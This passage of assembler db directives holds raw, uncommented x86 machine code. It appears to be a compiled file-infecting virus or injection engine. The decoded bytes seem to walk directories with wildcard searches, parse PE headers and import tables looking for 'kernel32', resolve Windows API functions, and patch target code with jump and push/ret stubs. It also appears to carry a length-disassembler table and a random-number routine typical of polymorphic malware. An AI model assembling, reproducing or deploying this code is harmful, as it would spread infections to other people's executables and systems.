0e8h, 0c5h db 008h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h, 06ah, 010h, 050h, 050h db 050h, 06ah, 007h, 0e8h, 021h, 0d6h, 0ffh, 0ffh, 003h, 0f0h, 08bh, 045h, 010h, 053h db 06ah, 001h, 0c6h, 004h, 03eh, 068h, 089h, 044h, 03eh, 001h, 083h, 0c6h, 005h, 0e8h db 09ah, 008h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h, 06ah, 010h, 050h db 050h, 050h, 06ah, 007h, 0e8h, 0f6h, 0d5h, 0ffh, 0ffh, 083h, 0c4h, 050h, 003h, 0f0h db 053h, 0c6h, 004h, 03eh, 0c3h, 06ah, 001h, 046h, 0e8h, 075h, 008h, 000h, 000h, 050h db 08dh, 004h, 03eh, 050h, 033h, 0c0h, 06ah, 010h, 050h, 050h, 050h, 06ah, 007h, 0e8h db 0d1h, 0d5h, 0ffh, 0ffh, 003h, 0f0h, 06ah, 007h, 06ah, 000h, 0c6h, 007h, 0e9h, 08dh db 046h, 0fbh, 089h, 047h, 001h, 0e8h, 09ch, 008h, 000h, 000h, 083h, 0c4h, 02ch, 083h db 0f8h, 004h, 075h, 00dh, 06ah, 007h, 06ah, 000h, 0e8h, 08bh, 008h, 000h, 000h, 059h db 059h, 0ebh, 0eeh, 004h, 058h, 053h, 088h, 004h, 03eh, 06ah, 001h, 046h, 0e8h, 02bh db 008h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h, 06ah, 010h, 050h, 050h db 050h, 06ah, 007h, 0e8h, 087h, 0d5h, 0ffh, 0ffh, 003h, 0f0h, 06ah, 0feh, 08dh, 004h db 03eh, 050h, 06ah, 010h, 0ffh, 075h, 0f4h, 0ffh, 075h, 0f8h, 06ah, 004h, 06ah, 000h db 0e8h, 06eh, 0d5h, 0ffh, 0ffh, 083h, 0c4h, 040h, 003h, 0f0h, 053h, 06ah, 001h, 0e8h db 0f2h, 007h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h, 06ah, 010h, 050h db 050h, 050h, 06ah, 007h, 0e8h, 04eh, 0d5h, 0ffh, 0ffh, 003h, 0f0h, 053h, 06ah, 001h db 0c6h, 004h, 03eh, 061h, 046h, 0e8h, 0d0h, 007h, 000h, 000h, 050h, 08dh, 004h, 03eh db 050h, 033h, 0c0h, 068h, 0ffh, 000h, 000h, 000h, 050h, 050h, 050h, 06ah, 007h, 0e8h db 029h, 0d5h, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 048h, 0c6h, 004h, 03eh, 068h, 08bh db 045h, 0f0h, 053h, 089h, 044h, 03eh, 001h, 06ah, 001h, 083h, 0c6h, 005h, 0e8h, 09fh db 007h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0dbh, 068h, 0ffh, 000h, 000h db 000h, 053h, 053h, 053h, 06ah, 007h, 0e8h, 0f8h, 0d4h, 0ffh, 0ffh, 053h, 003h, 0f0h db 0ffh, 075h, 014h, 0c6h, 004h, 03eh, 0c3h, 0ffh, 075h, 0fch, 0ffh, 015h, 0ach, 050h db 000h, 000h, 0ffh, 075h, 0fch, 046h, 06ah, 001h, 056h, 057h, 0ffh, 015h, 0a8h, 050h db 000h, 000h, 083h, 0c4h, 040h, 085h, 0c0h, 075h, 004h, 033h, 0f6h, 0ebh, 025h, 08bh db 045h, 0ech, 053h, 040h, 050h, 0ffh, 075h, 0fch, 0ffh, 015h, 0ach, 050h, 000h, 000h db 0ffh, 075h, 0fch, 08dh, 045h, 0e8h, 06ah, 001h, 05eh, 056h, 06ah, 004h, 050h, 0ffh db 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 057h, 0ffh, 015h, 0d8h, 050h, 000h db 000h, 059h, 05bh, 0ffh, 075h, 0fch, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 08bh db 0c6h, 05fh, 05eh, 0c9h, 0c3h, 055h, 08bh, 0ech, 083h, 0ech, 028h, 053h, 056h, 057h db 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 09ch, 050h, 000h, 000h db 08bh, 0f0h, 059h, 085h, 0f6h, 059h, 089h, 075h, 008h, 074h, 046h, 08bh, 05dh, 00ch db 06ah, 000h, 08bh, 043h, 03ch, 005h, 0f8h, 000h, 000h, 000h, 050h, 056h, 0ffh, 015h db 0ach, 050h, 000h, 000h, 056h, 06ah, 001h, 08dh, 045h, 0d8h, 06ah, 028h, 050h, 0ffh db 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 013h, 0ffh, 075h db 0e8h, 06ah, 001h, 0ffh, 015h, 0d4h, 050h, 000h, 000h, 08bh, 0f8h, 059h, 085h, 0ffh db 059h, 075h, 00fh, 056h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 033h, 0c0h, 0e9h db 091h, 000h, 000h, 000h, 06ah, 000h, 0ffh, 075h, 0ech, 056h, 0ffh, 015h, 0ach, 050h db 000h, 000h, 056h, 06ah, 001h, 0ffh, 075h, 0e8h, 057h, 0ffh, 015h, 0a4h, 050h, 000h db 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 075h, 004h, 033h, 0f6h, 0ebh, 059h, 08bh, 0f7h db 056h, 0e8h, 058h, 004h, 000h, 000h, 003h, 0f0h, 059h, 085h, 0c0h, 07eh, 0edh, 08bh db 045h, 0e8h, 08dh, 044h, 038h, 09ch, 03bh, 0f0h, 077h, 0e2h, 080h, 03eh, 0e8h, 075h db 0e3h, 0e8h, 0ebh, 005h, 000h, 000h, 0a8h, 001h, 074h, 0dah, 08bh, 045h, 0ech, 08bh db 04dh, 010h, 02bh, 0c7h, 08bh, 055h, 01ch, 003h, 0c6h, 06ah, 001h, 089h, 001h, 08bh db 043h, 074h, 08bh, 04dh, 014h, 02bh, 0c7h, 003h, 045h, 0e4h, 003h, 0c6h, 089h, 001h db 08bh, 046h, 001h, 089h, 002h, 08bh, 009h, 05eh, 08dh, 044h, 001h, 005h, 08bh, 04dh db 018h, 089h, 001h, 0ffh, 075h, 008h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 057h, 0ffh db 015h, 0d8h, 050h, 000h, 000h, 059h, 08bh, 0c6h, 059h, 05fh, 05eh, 05bh, 0c9h, 0c3h db 055h, 08bh, 0ech, 083h, 0ech, 01ch, 053h, 056h, 057h, 068h, 074h, 014h, 000h, 000h db 0ffh, 075h, 008h, 0ffh, 015h, 09ch, 050h, 000h, 000h, 08bh, 0f0h, 059h, 085h, 0f6h db 059h, 00fh, 084h, 0f7h, 000h, 000h, 000h, 08bh, 05dh, 00ch, 0ffh, 0b3h, 0c0h, 000h db 000h, 000h, 053h, 0e8h, 0e1h, 0ebh, 0ffh, 0ffh, 06ah, 000h, 050h, 056h, 0ffh, 015h db 0ach, 050h, 000h, 000h, 083h, 0c4h, 014h, 056h, 06ah, 001h, 08dh, 045h, 0e4h, 06ah db 014h, 050h, 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 00fh db 084h, 0b9h, 000h, 000h, 000h, 083h, 07dh, 0e4h, 000h, 056h, 00fh, 084h, 0afh, 000h db 000h, 000h, 0ffh, 015h, 0b4h, 050h, 000h, 000h, 059h, 08bh, 0f8h, 06ah, 000h, 0ffh db 075h, 0f0h, 053h, 0e8h, 09bh, 0ebh, 0ffh, 0ffh, 059h, 059h, 050h, 056h, 0ffh, 015h db 0ach, 050h, 000h, 000h, 056h, 06ah, 001h, 08dh, 045h, 0f8h, 06ah, 008h, 050h, 0ffh db 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 07ah, 06ah, 000h db 057h, 056h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 083h, 0c4h, 00ch, 080h, 07dh, 0f8h db 06bh, 074h, 006h, 080h, 07dh, 0f8h, 04bh, 075h, 08eh, 080h, 07dh, 0f9h, 065h, 074h db 006h, 080h, 07dh, 0f9h, 045h, 075h, 082h, 080h, 07dh, 0fah, 072h, 074h, 00ah, 080h db 07dh, 0fah, 052h, 00fh, 085h, 072h, 0ffh, 0ffh, 0ffh, 080h, 07dh, 0fbh, 06eh, 074h db 00ah, 080h, 07dh, 0fbh, 04eh, 00fh, 085h, 062h, 0ffh, 0ffh, 0ffh, 080h, 07dh, 0fch db 065h, 074h, 00ah, 080h, 07dh, 0fch, 045h, 00fh, 085h, 052h, 0ffh, 0ffh, 0ffh, 080h db 07dh, 0fdh, 06ch, 074h, 00ah, 080h, 07dh, 0fdh, 04ch, 00fh, 085h, 042h, 0ffh, 0ffh db 0ffh, 080h, 07dh, 0feh, 033h, 00fh, 085h, 038h, 0ffh, 0ffh, 0ffh, 080h, 07dh, 0ffh db 032h, 074h, 011h, 0e9h, 02dh, 0ffh, 0ffh, 0ffh, 056h, 0ffh, 015h, 0a0h, 050h, 000h db 000h, 059h, 033h, 0c0h, 0ebh, 00eh, 056h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 08bh db 043h, 074h, 059h, 003h, 045h, 0f4h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh, 0ech db 056h, 08bh, 075h, 008h, 056h, 0e8h, 07ch, 0f3h, 0ffh, 0ffh, 085h, 0c0h, 059h, 074h db 057h, 0e8h, 055h, 004h, 000h, 000h, 0a8h, 001h, 074h, 007h, 056h, 0e8h, 0adh, 0f2h db 0ffh, 0ffh, 059h, 0e8h, 045h, 004h, 000h, 000h, 0a8h, 001h, 074h, 026h, 0ffh, 075h db 014h, 068h, 0c8h, 000h, 000h, 000h, 06ah, 064h, 0e8h, 0fdh, 004h, 000h, 000h, 059h db 059h, 0c1h, 0e0h, 00ah, 050h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 056h, 0e8h, 028h db 0f9h, 0ffh, 0ffh, 083h, 0c4h, 014h, 0ebh, 018h, 0ffh, 075h, 01ch, 0ffh, 075h, 018h db 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 056h, 0e8h, 055h, 0f7h, 0ffh db 0ffh, 083h, 0c4h, 018h, 05eh, 05dh, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 050h, 003h db 000h, 000h, 08bh, 045h, 008h, 053h, 033h, 0dbh, 033h, 0c9h, 056h, 03bh, 0c3h, 057h db 089h, 05dh, 0fch, 00fh, 084h, 0b8h, 001h, 000h, 000h, 08ah, 010h, 06ah, 001h, 08dh db 0b5h, 0f4h, 0feh, 0ffh, 0ffh, 05fh, 02bh, 0f0h, 02bh, 0f8h, 0ebh, 002h, 033h, 0dbh db 088h, 014h, 006h, 08ah, 050h, 001h, 041h, 040h, 03ah, 0d3h, 074h, 01eh, 08dh, 01ch db 007h, 081h, 0fbh, 004h, 001h, 000h, 000h, 00fh, 084h, 08ah, 001h, 000h, 000h, 081h db 0f9h, 004h, 001h, 000h, 000h, 072h, 0dbh, 08bh, 07dh, 0fch, 033h, 0dbh, 0ebh, 046h db 08dh, 051h, 001h, 0beh, 004h, 001h, 000h, 000h, 03bh, 0d6h, 00fh, 083h, 06bh, 001h db 000h, 000h, 080h, 0bch, 00dh, 0f3h, 0feh, 0ffh, 0ffh, 05ch, 08dh, 084h, 00dh, 0f4h db 0feh, 0ffh, 0ffh, 074h, 019h, 083h, 0c1h, 002h, 03bh, 0ceh, 00fh, 083h, 04fh, 001h db 000h, 000h, 08bh, 0cah, 0c6h, 000h, 05ch, 08dh, 084h, 00dh, 0f4h, 0feh, 0ffh, 0ffh db 088h, 018h, 0c6h, 000h, 02ah, 08bh, 0f8h, 088h, 09ch, 00dh, 0f5h, 0feh, 0ffh, 0ffh db 08ah, 08dh, 0f4h, 0feh, 0ffh, 0ffh, 033h, 0c0h, 03ah, 0cbh, 074h, 011h, 088h, 08ch db 005h, 0b0h, 0fch, 0ffh, 0ffh, 08ah, 08ch, 005h, 0f5h, 0feh, 0ffh, 0ffh, 040h, 0ebh db 0ebh, 088h, 09ch, 005h, 0b0h, 0fch, 0ffh, 0ffh, 0a1h, 0f0h, 050h, 000h, 000h, 03bh db 0c3h, 075h, 018h, 068h, 0a8h, 014h, 000h, 000h, 0ffh, 015h, 094h, 050h, 000h, 000h db 03bh, 0c3h, 0a3h, 0f0h, 050h, 000h, 000h, 00fh, 084h, 0f0h, 000h, 000h, 000h, 068h db 098h, 014h, 000h, 000h, 050h, 0ffh, 015h, 098h, 050h, 000h, 000h, 068h, 088h, 014h db 000h, 000h, 08bh, 0f0h, 0ffh, 035h, 0f0h, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h db 000h, 000h, 068h, 07ch, 014h, 000h, 000h, 089h, 045h, 008h, 0ffh, 035h, 0f0h, 050h db 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 03bh, 0f3h, 089h, 045h, 0fch, 00fh db 084h, 0b2h, 000h, 000h, 000h, 039h, 05dh, 008h, 00fh, 084h, 0a9h, 000h, 000h, 000h db 08dh, 085h, 0b4h, 0fdh, 0ffh, 0ffh, 050h, 08dh, 085h, 0b0h, 0fch, 0ffh, 0ffh, 050h db 0ffh, 0d6h, 083h, 0f8h, 0ffh, 089h, 045h, 0f8h, 00fh, 084h, 088h, 000h, 000h, 000h db 033h, 0c0h, 038h, 09dh, 0e0h, 0fdh, 0ffh, 0ffh, 074h, 062h, 08bh, 0cfh, 08dh, 095h db 0e0h, 0fdh, 0ffh, 0ffh, 02bh, 0cah, 08bh, 0d0h, 08dh, 0b5h, 0f4h, 0feh, 0ffh, 0ffh db 02bh, 0d6h, 003h, 0d7h, 081h, 0fah, 004h, 001h, 000h, 000h, 073h, 01dh, 08ah, 094h db 005h, 0e0h, 0fdh, 0ffh, 0ffh, 08dh, 034h, 001h, 040h, 088h, 094h, 035h, 0e0h, 0fdh db 0ffh, 0ffh, 038h, 09ch, 005h, 0e0h, 0fdh, 0ffh, 0ffh, 075h, 0d1h, 0ebh, 002h, 033h db 0c0h, 03bh, 0c3h, 074h, 021h, 0ffh, 075h, 01ch, 088h, 01ch, 038h, 08dh, 085h, 0f4h db 0feh, 0ffh, 0ffh, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h db 00ch, 050h, 0e8h, 0e2h, 0fdh, 0ffh, 0ffh, 083h, 0c4h, 018h, 08dh, 085h, 0b4h, 0fdh db 0ffh, 0ffh, 050h, 0ffh, 075h, 0f8h, 0ffh, 055h, 008h, 085h, 0c0h, 075h, 083h, 039h db 05dh, 0fch, 074h, 006h, 0ffh, 075h, 0f8h, 0ffh, 055h, 0fch, 06ah, 001h, 058h, 0ebh db 002h, 033h, 0c0h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 004h db 001h, 000h, 000h, 0a1h, 0f0h, 050h, 000h, 000h, 085h, 0c0h, 075h, 014h, 068h, 0a8h db 014h, 000h, 000h, 0ffh, 015h, 094h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 0f0h, 050h db 000h, 000h, 074h, 047h, 068h, 0b8h, 014h, 000h, 000h, 050h, 0ffh, 015h, 098h, 050h db 000h, 000h, 085h, 0c0h, 074h, 037h, 08dh, 08dh, 0fch, 0feh, 0ffh, 0ffh, 051h, 068h db 004h, 001h, 000h, 000h, 0ffh, 0d0h, 080h, 0bdh, 0fch, 0feh, 0ffh, 0ffh, 000h, 074h db 020h, 0ffh, 075h, 018h, 08dh, 085h, 0fch, 0feh, 0ffh, 0ffh, 0ffh, 075h, 014h, 0ffh db 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 050h, 0e8h, 0bbh, 0fdh, 0ffh, 0ffh db 083h, 0c4h, 018h, 0c9h, 0c3h, 033h, 0c0h, 0c9h, 0c3h, 0cch, 0cch, 0cch, 060h, 0fch db 033h, 0d2h, 08bh, 074h, 024h, 024h, 08bh, 0ech, 068h, 01ch, 0f7h, 097h, 010h, 068h db 080h, 067h, 01ch, 0f7h, 068h, 018h, 097h, 038h, 017h, 068h, 018h, 0b7h, 01ch, 010h db 068h, 017h, 02ch, 030h, 017h, 068h, 017h, 030h, 017h, 018h, 068h, 047h, 0f5h, 015h db 0f7h, 068h, 048h, 037h, 010h, 04ch, 068h, 0f7h, 0e7h, 02ch, 027h, 068h, 087h, 060h db 0ach, 0f7h, 068h, 052h, 01ch, 012h, 01ch, 068h, 01ch, 087h, 010h, 07ch, 068h, 01ch db 070h, 01ch, 020h, 068h, 02bh, 060h, 067h, 047h, 068h, 011h, 010h, 021h, 020h, 068h db 025h, 016h, 012h, 040h, 068h, 022h, 020h, 087h, 082h, 068h, 020h, 012h, 020h, 047h db 068h, 019h, 014h, 010h, 013h, 068h, 013h, 010h, 027h, 018h, 068h, 060h, 082h, 085h db 028h, 068h, 045h, 040h, 012h, 015h, 068h, 0c7h, 0a0h, 016h, 050h, 068h, 012h, 018h db 019h, 028h, 068h, 012h, 018h, 040h, 0f2h, 068h, 027h, 041h, 015h, 019h, 068h, 011h db 0f0h, 0f0h, 050h, 0b9h, 010h, 047h, 012h, 015h, 051h, 068h, 047h, 012h, 015h, 011h db 068h, 012h, 015h, 011h, 010h, 068h, 015h, 011h, 010h, 047h, 0b8h, 015h, 020h, 047h db 012h, 050h, 050h, 068h, 010h, 01ah, 047h, 012h, 080h, 0c1h, 010h, 051h, 080h, 0e9h db 020h, 051h, 033h, 0c9h, 049h, 041h, 08bh, 0fch, 0ach, 08ah, 0f8h, 08ah, 027h, 047h db 0c0h, 0ech, 004h, 02ah, 0c4h, 073h, 0f6h, 08ah, 047h, 0ffh, 024h, 00fh, 03ch, 00ch db 075h, 003h, 05ah, 0f7h, 0d2h, 042h, 03ch, 000h, 074h, 042h, 03ch, 001h, 074h, 0dbh db 083h, 0c7h, 051h, 03ch, 00ah, 074h, 0d7h, 08bh, 07dh, 024h, 042h, 03ch, 002h, 074h db 02fh, 03ch, 007h, 074h, 033h, 03ch, 00bh, 00fh, 084h, 07eh, 000h, 000h, 000h, 042h db 03ch, 003h, 074h, 01eh, 03ch, 008h, 074h, 022h, 042h, 03ch, 004h, 074h, 015h, 042h db 042h, 060h, 0b0h, 066h, 0f2h, 0aeh, 061h, 075h, 002h, 04ah, 04ah, 03ch, 009h, 074h db 00dh, 02ch, 005h, 074h, 06ch, 042h, 08bh, 0e5h, 089h, 054h, 024h, 01ch, 061h, 0c3h db 0ach, 08ah, 0e0h, 0c0h, 0e8h, 007h, 072h, 012h, 074h, 014h, 080h, 0c2h, 004h, 060h db 0b0h, 067h, 0f2h, 0aeh, 061h, 075h, 009h, 080h, 0eah, 003h, 0feh, 0c8h, 075h, 0dch db 042h, 040h, 080h, 0e4h, 007h, 060h, 0b0h, 067h, 0f2h, 0aeh, 061h, 074h, 013h, 080h db 0fch, 004h, 074h, 017h, 080h, 0fch, 005h, 075h, 0c5h, 0feh, 0c8h, 074h, 0c1h, 080h db 0c2h, 004h, 0ebh, 0bch, 066h, 03dh, 000h, 006h, 075h, 0b6h, 042h, 0ebh, 0b2h, 03ch db 000h, 075h, 0aeh, 0ach, 024h, 007h, 02ch, 005h, 075h, 0a7h, 042h, 0ebh, 0e4h, 0f6h db 006h, 038h, 075h, 0a8h, 0b0h, 008h, 0d0h, 0efh, 014h, 000h, 0e9h, 072h, 0ffh, 0ffh db 0ffh, 080h, 0efh, 0a0h, 080h, 0ffh, 004h, 073h, 082h, 060h, 0b0h, 067h, 0f2h, 0aeh db 061h, 075h, 002h, 04ah, 04ah, 060h, 0b0h, 066h, 0f2h, 0aeh, 061h, 00fh, 084h, 076h db 0ffh, 0ffh, 0ffh, 00fh, 085h, 066h, 0ffh, 0ffh, 0ffh, 056h, 033h, 0f6h, 039h, 035h db 090h, 050h, 000h, 000h, 075h, 033h, 0a1h, 0c0h, 050h, 000h, 000h, 03bh, 0c6h, 074h db 004h, 0ffh, 0d0h, 0ebh, 00fh, 0a1h, 0bch, 050h, 000h, 000h, 03bh, 0c6h, 074h, 004h db 0ffh, 0d0h, 0ebh, 002h, 033h, 0c0h, 08bh, 00dh, 0b8h, 050h, 000h, 000h, 0a3h, 090h db 050h, 000h, 000h, 03bh, 0ceh, 074h, 008h, 03bh, 0c6h, 074h, 004h, 050h, 0ffh, 0d1h db 059h, 0a1h, 0bch, 050h, 000h, 000h, 03bh, 0c6h, 074h, 032h, 057h, 0ffh, 0d0h, 08bh db 0f0h, 0bfh, 0ffh, 000h, 000h, 000h, 023h, 0f7h, 0ffh, 015h, 0bch, 050h, 000h, 000h db 0c1h, 0e0h, 008h, 00bh, 0f0h, 0c1h, 0e6h, 008h, 0ffh, 015h, 0bch, 050h, 000h, 000h db 023h, 0c7h, 00bh, 0f0h, 0c1h, 0e6h, 008h, 0ffh, 015h, 0bch, 050h, 000h, 000h, 023h db 0c7h, 05fh, 00bh, 0f0h, 08bh, 0c6h, 05eh, 0c3h, 053h, 08bh, 05ch, 024h, 008h, 057h db 08bh, 07ch, 024h, 010h, 02bh, 0fbh, 074h, 03bh, 083h, 0ffh, 001h, 075h, 00eh, 0e8h db 06bh, 0ffh, 0ffh, 0ffh, 0a8h, 001h, 075h, 02dh, 08dh, 043h, 001h, 0ebh, 02ah, 08bh db 0c7h, 056h, 0c1h, 0e8h, 010h, 050h, 06ah, 000h, 0e8h, 01fh, 000h, 000h, 000h, 08bh db 0f0h, 00fh, 0b7h, 0c7h, 050h, 06ah, 000h, 0c1h, 0e6h, 010h, 0e8h, 00fh, 000h, 000h db 000h, 083h, 0c4h, 010h, 00bh, 0c6h, 003h, 0c3h, 05eh, 0ebh, 002h, 08bh, 0c3h, 05fh db 05bh, 0c3h, 056h, 08bh, 074h, 024h, 00ch, 057h, 08bh, 07ch, 024h, 00ch, 02bh, 0f7h db 066h, 085h, 0f6h, 076h, 02eh, 066h, 083h, 0feh, 001h, 075h, 00eh, 0e8h, 019h, 0ffh db 0ffh, 0ffh, 0a8h, 001h, 075h, 01fh, 08dh, 047h, 001h, 0ebh, 01ch, 0e8h, 00bh, 0ffh db 0ffh, 0ffh, 0b9h, 0ffh, 0ffh, 000h, 000h, 00fh, 0b7h, 0d6h, 023h, 0c1h, 00fh, 0afh db 0c2h, 033h, 0d2h, 0f7h, 0f1h, 003h, 0c7h, 0ebh, 002h, 08bh, 0c7h, 05fh, 05eh, 0c3h db 0e8h, 0ech, 0feh, 0ffh, 0ffh, 085h, 0c0h, 074h, 011h, 03ch, 061h, 07eh, 004h, 03ch db 07ah, 07ch, 00bh, 03ch, 041h, 07eh, 0ebh, 03ch, 05ah, 07dh, 0e7h, 0c3h, 0b0h, 061h db 0c3h, 053h, 08bh, 05ch, 024h, 008h, 056h, 08bh, 074h, 024h, 010h, 083h, 0feh, 004h db 07ch, 01bh, 057h, 08bh, 0feh, 0c1h, 0efh, 002h, 08bh, 0c7h, 0f7h, 0d8h, 08dh, 034h db 086h, 0e8h, 0b3h, 0feh, 0ffh, 0ffh, 089h, 003h, 083h, 0c3h, 004h, 04fh, 075h, 0f3h db 05fh, 085h, 0f6h, 074h, 00fh, 0e8h, 0a1h, 0feh, 0ffh, 0ffh, 08bh, 04ch, 024h, 00ch db 088h, 004h, 031h, 04eh, 075h, 0f1h, 08bh, 044h, 024h, 00ch, 05eh, 05bh, 0c3h, 06ah db 001h, 058h, 0c2h, 00ch, 000h, 055h, 08bh, 0ech, 053h, 056h, 057h, 08dh, 005h, 000h db 051h, 000h, 000h, 089h, 018h, 089h, 068h, 004h, 089h, 070h, 008h, 089h, 078h, 00ch db 0ffh, 075h, 020h, 0ffh, 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h db 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 01dh, 000h, 000h, 000h, 083h, 0c4h db 01ch, 08dh, 005h, 000h, 051h, 000h, 000h, 08bh, 018h, 08bh, 068h, 004h, 08bh, 070h db 008h, 08bh, 078h, 00ch, 05fh, 05eh, 033h, 0c0h, 05bh, 05dh, 0c2h, 01ch, 000h, 055h db 08bh, 0ech, 08bh, 045h, 008h, 085h, 0c0h, 00fh, 084h, 08fh, 002h, 000h, 000h, 08bh db 04dh, 00ch, 085h, 0c9h, 00fh, 084h, 084h, 002h, 000h, 000h, 068h, 0ech, 015h, 000h db 000h, 0a3h, 094h, 050h, 000h, 000h, 089h, 00dh, 098h, 050h, 000h, 000h, 0ffh, 0d0h db 085h, 0c0h, 0a3h, 0e4h, 050h, 000h, 000h, 074h, 025h, 068h, 0e0h, 015h, 000h, 000h db 050h, 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 0e0h, 050h, 000h, 000h db 074h, 010h, 06ah, 000h, 068h, 0cch, 015h, 000h, 000h, 068h, 080h, 015h, 000h, 000h db 06ah, 000h, 0ffh, 0d0h, 068h, 074h, 015h, 000h, 000h, 0ffh, 015h, 094h, 050h, 000h db 000h, 085h, 0c0h, 0a3h, 0ech, 050h, 000h, 000h, 00fh, 084h, 02ch, 002h, 000h, 000h db 068h, 0a8h, 014h, 000h, 000h, 0ffh, 015h, 094h, 050h, 000h, 000h, 085h, 0c0h, 0a3h db 0f0h, 050h, 000h, 000h, 074h, 027h, 068h, 068h, 015h, 000h, 000h, 050h, 0ffh, 015h db 098h, 050h, 000h, 000h, 068h, 058h, 015h, 000h, 000h, 0a3h, 0b0h, 050h, 000h, 000h db 0ffh, 035h, 0f0h, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 0a3h, 0c0h db 050h, 000h, 000h, 068h, 050h, 015h, 000h, 000h, 0ffh, 035h, 0ech, 050h, 000h, 000h db 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 09ch, 050h, 000h, 000h, 00fh db 084h, 0bbh, 001h, 000h, 000h, 068h, 048h, 015h, 000h, 000h, 0ffh, 035h, 0ech, 050h db 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 0a0h, 050h, 000h db 000h, 00fh, 084h, 09dh, 001h, 000h, 000h, 068h, 040h, 015h, 000h, 000h, 0ffh, 035h db 0ech, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 0a4h db 050h, 000h, 000h, 00fh, 084h, 07fh, 001h, 000h, 000h, 068h, 038h, 015h, 000h, 000h db 0ffh, 035h, 0ech, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h db 0a3h, 0a8h, 050h, 000h, 000h, 00fh, 084h, 061h, 001h, 000h, 000h, 068h, 030h, 015h db 000h, 000h, 0ffh, 035h, 0ech, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h db 085h, 0c0h, 0a3h, 0ach, 050h, 000h, 000h, 00fh, 084h, 043h, 001h, 000h, 000h, 068h db 028h, 015h, 000h, 000h, 0ffh, 035h, 0ech, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h db 000h, 000h, 085h, 0c0h, 0a3h, 0b4h, 050h, 000h, 000h, 00fh, 084h, 025h, 001h, 000h db 000h, 068h, 020h, 015h, 000h, 000h, 0ffh, 035h, 0ech, 050h, 000h, 000h, 0ffh, 015h db 098h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 0d4h, 050h, 000h, 000h, 00fh, 084h, 007h db 001h, 000h, 000h, 068h, 018h, 015h, 000h, 000h, 0ffh, 035h, 0ech, 050h, 000h, 000h db 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 0d8h, 050h, 000h, 000h, 00fh db 084h, 0e9h, 000h, 000h, 000h, 068h, 010h, 015h, 000h, 000h, 0ffh, 035h, 0ech, 050h db 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 0dch, 050h, 000h db 000h, 00fh, 084h, 0cbh, 000h, 000h, 000h, 068h, 004h, 015h, 000h, 000h, 0ffh, 035h db 0f0h, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h, 0a3h, 0cch db 050h, 000h, 000h, 00fh, 084h, 0adh, 000h, 000h, 000h, 068h, 0f8h, 014h, 000h, 000h db 0ffh, 035h, 0f0h, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h db 0a3h, 0c4h, 050h, 000h, 000h, 00fh, 084h, 08fh, 000h, 000h, 000h, 068h, 0ech, 014h db 000h, 000h, 0ffh, 035h, 0f0h, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h db 085h, 0c0h, 0a3h, 0c8h, 050h, 000h, 000h, 074h, 075h, 068h, 0e0h, 014h, 000h, 000h db 0ffh, 035h, 0f0h, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 085h, 0c0h db 0a3h, 0d0h, 050h, 000h, 000h, 074h, 05bh, 068h, 0d8h, 014h, 000h, 000h, 0ffh, 035h db 0ech, 050h, 000h, 000h, 0ffh, 015h, 098h, 050h, 000h, 000h, 068h, 0d0h, 014h, 000h db 000h, 0a3h, 0bch, 050h, 000h, 000h, 0ffh, 035h, 0ech, 050h, 000h, 000h, 0ffh, 015h db 098h, 050h, 000h, 000h, 0ffh, 075h, 020h, 0a3h, 0b8h, 050h, 000h, 000h, 0ffh, 075h db 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0e8h, 0afh, 0f9h, 0ffh db 0ffh, 0ffh, 035h, 0ech, 050h, 000h, 000h, 0e8h, 02ch, 000h, 